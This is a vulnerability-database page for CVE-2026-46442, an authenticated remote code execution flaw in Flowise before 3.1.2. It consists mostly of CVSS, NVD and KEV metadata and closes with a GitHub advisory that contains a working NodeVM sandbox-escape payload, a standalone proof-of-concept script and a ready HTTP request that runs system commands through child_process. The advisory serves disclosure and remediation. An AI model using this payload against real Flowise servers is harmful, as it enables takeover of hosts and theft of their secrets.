Vulnerability-Lookup

CVE-2026-46442 (GCVE-0-2026-46442)

Vulnerability from cvelistv5 – Published: 2026-06-08 15:30 – Updated: 2026-06-09 14:35

Previdian

Title

Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-09 14:27 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7876 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
FlowiseAI	Flowise	Affected: < 3.1.2	guessed

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: 91a28016-23d4-45f5-b951-0a883f6f08ac

Vulnerability ID: CVE-2026-46442

Status: Confirmed

Status Updated: 2026-07-17 07:51 UTC

Exploited: Yes

Timestamps

First Seen: 2026-07-17

Asserted: 2026-07-17

Scope

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: kevintel

Details

Feed	KEVIntel (kevintel.com)
Title	Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape
Vendor	FlowiseAI
Product	Flowise
Added Date	2026-07-17T07:51:05.707Z
Cvss Score	9.4
Epss Score	0.0082
Cvss Severity	CRITICAL
Epss Percentile	0.53112
Used In Malware	unknown
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-07-17 08:00 UTC | Updated: 2026-07-17 08:00 UTC

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-46442",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-09T14:27:38.343394Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-09T14:35:49.756Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured \u2014 the common deployment case \u2014 Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.4,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-08T15:30:48.999Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
        }
      ],
      "source": {
        "advisory": "GHSA-9rvc-vf7m-pgm2",
        "discovery": "UNKNOWN"
      },
      "title": "Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-46442",
    "datePublished": "2026-06-08T15:30:48.999Z",
    "dateReserved": "2026-05-13T22:18:22.831Z",
    "dateUpdated": "2026-06-09T14:35:49.756Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-46442",
      "date": "2026-11-14",
      "epss": "0.32998",
      "percentile": "0.98386"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "Flowise",
                "vendor": "FlowiseAI",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 3.1.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "7CB8FEE7-C35E-4F6A-A394-033B158A1552",
                    "versionEndExcluding": "3.1.2",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured \u2014 the common deployment case \u2014 Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2."
          },
          {
            "lang": "es",
            "value": "Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. Antes de la versi\u00f3n 3.1.2, POST /api/v1/node-custom-function carece de autorizaci\u00f3n a nivel de ruta, permitiendo a cualquier usuario autenticado o clave API enviar JavaScript arbitrario al nodo de Funci\u00f3n JS Personalizada. Cuando E2B_APIKEY no est\u00e1 configurada - el caso de despliegue com\u00fan - Flowise ejecuta este c\u00f3digo dentro de un sandbox NodeVM. Este sandbox puede ser evadido, permitiendo a un atacante alcanzar el objeto de proceso del host y ejecutar comandos del sistema a trav\u00e9s de child_process. El resultado es ejecuci\u00f3n remota de c\u00f3digo autenticada en el host del servidor Flowise. Este problema ha sido parcheado en la versi\u00f3n 3.1.2."
          }
        ],
        "id": "CVE-2026-46442",
        "lastModified": "2026-07-23T07:10:00.113",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.9,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.1,
              "impactScore": 6.0,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 9.4,
                "baseSeverity": "CRITICAL",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "LOW",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-46442",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-09T14:27:38.343394Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-06-08T16:16:41.347",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product",
              "Release Notes"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Mitigation",
              "Vendor Advisory"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Mitigation",
              "Vendor Advisory"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-94"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-06-09T20:59:20+00:00",
      "cve": "CVE-2026-46442",
      "id": "CVE-2026-46442",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46442.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-46442",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-09T14:27:38.343394Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-09T14:27:49.544Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "Flowise",
              "vendor": "FlowiseAI",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3.1.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured \u2014 the common deployment case \u2014 Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 9.4,
                "baseSeverity": "CRITICAL",
                "privilegesRequired": "LOW",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-94",
                  "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-08T15:30:48.999Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
            },
            {
              "name": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
            }
          ],
          "source": {
            "advisory": "GHSA-9rvc-vf7m-pgm2",
            "discovery": "UNKNOWN"
          },
          "title": "Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-46442",
        "datePublished": "2026-06-08T15:30:48.999Z",
        "dateReserved": "2026-05-13T22:18:22.831Z",
        "dateUpdated": "2026-06-08T15:30:48.999Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-46442

Vulnerability from fkie_nvd - Published: 2026-06-08 16:16 - Updated: 2026-07-23 07:10

Previdian

Severity

9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2	Product, Release Notes
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	flowiseai	flowise	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "7CB8FEE7-C35E-4F6A-A394-033B158A1552",
              "versionEndExcluding": "3.1.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured \u2014 the common deployment case \u2014 Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2."
    },
    {
      "lang": "es",
      "value": "Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. Antes de la versi\u00f3n 3.1.2, POST /api/v1/node-custom-function carece de autorizaci\u00f3n a nivel de ruta, permitiendo a cualquier usuario autenticado o clave API enviar JavaScript arbitrario al nodo de Funci\u00f3n JS Personalizada. Cuando E2B_APIKEY no est\u00e1 configurada - el caso de despliegue com\u00fan - Flowise ejecuta este c\u00f3digo dentro de un sandbox NodeVM. Este sandbox puede ser evadido, permitiendo a un atacante alcanzar el objeto de proceso del host y ejecutar comandos del sistema a trav\u00e9s de child_process. El resultado es ejecuci\u00f3n remota de c\u00f3digo autenticada en el host del servidor Flowise. Este problema ha sido parcheado en la versi\u00f3n 3.1.2."
    }
  ],
  "id": "CVE-2026-46442",
  "lastModified": "2026-07-23T07:10:00.113",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.4,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-46442",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-09T14:27:38.343394Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-08T16:16:41.347",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-9RVC-VF7M-PGM2

Vulnerability from github – Published: 2026-05-14 14:57 – Updated: 2026-06-09 13:10

Summary

FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape

Details

Summary

POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.

When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.

The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.

Details

Two distinct security boundaries are violated.

1. Missing route-level authorization

packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:

router.post('/', nodesRouter.executeCustomFunction)

Other sensitive routes in the same codebase use explicit permission gates:

// packages/server/src/routes/chatflows/index.ts
router.post(
  '/',
  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
  chatflowsController.saveChatflow
)

Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.

2. NodeVM sandbox escape

The endpoint forwards body.javascriptFunction through the following chain:

POST /api/v1/node-custom-function
  → packages/server/src/controllers/nodes/index.ts
  → packages/server/src/utils/executeCustomNodeFunction.ts
  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
    executeJavaScriptCode(javascriptFunction, sandbox)
  → packages/components/src/utils.ts
    if !process.env.E2B_APIKEY → NodeVM fallback
  → [SINK] host process / child_process

packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:

const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY

Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.

These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:

const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();

The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.

PoC

Standalone verification (run from the repository root with E2B_APIKEY unset):

// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');

delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve(
  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));

const attackCode = `
async function f() {
  const error = new Error();
  error.name = Object.create(null);
  return error.stack;
}
return await f().catch(e => {
  const FunctionCtor = e.constructor.constructor;
  const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
  return cp.execSync('id').toString().trim();
});
`;

(async () => {
  const node = new CustomFunction();
  const result = await node.init(
    { inputs: { javascriptFunction: attackCode } },
    '',
    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
  );
  console.log('[RCE OUTPUT]', result);
})();

Confirmed output:

[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...

HTTP trigger (requires a valid API key or session):

POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json

{
  "javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}

Impact

Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.

The NodeVM fallback is the default for any deployment without E2B_APIKEY configured, which covers the majority of self-hosted instances.

Recommended remediation: 1. Add explicit permission gating to POST /api/v1/node-custom-function using the existing checkPermission middleware pattern. 2. Fail closed if E2B_APIKEY is absent — do not silently downgrade to NodeVM for untrusted code execution. 3. Restrict this endpoint from generic API key access.

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T14:57:53Z",
    "nvd_published_at": "2026-06-08T16:16:41Z",
    "severity": "CRITICAL"
  },
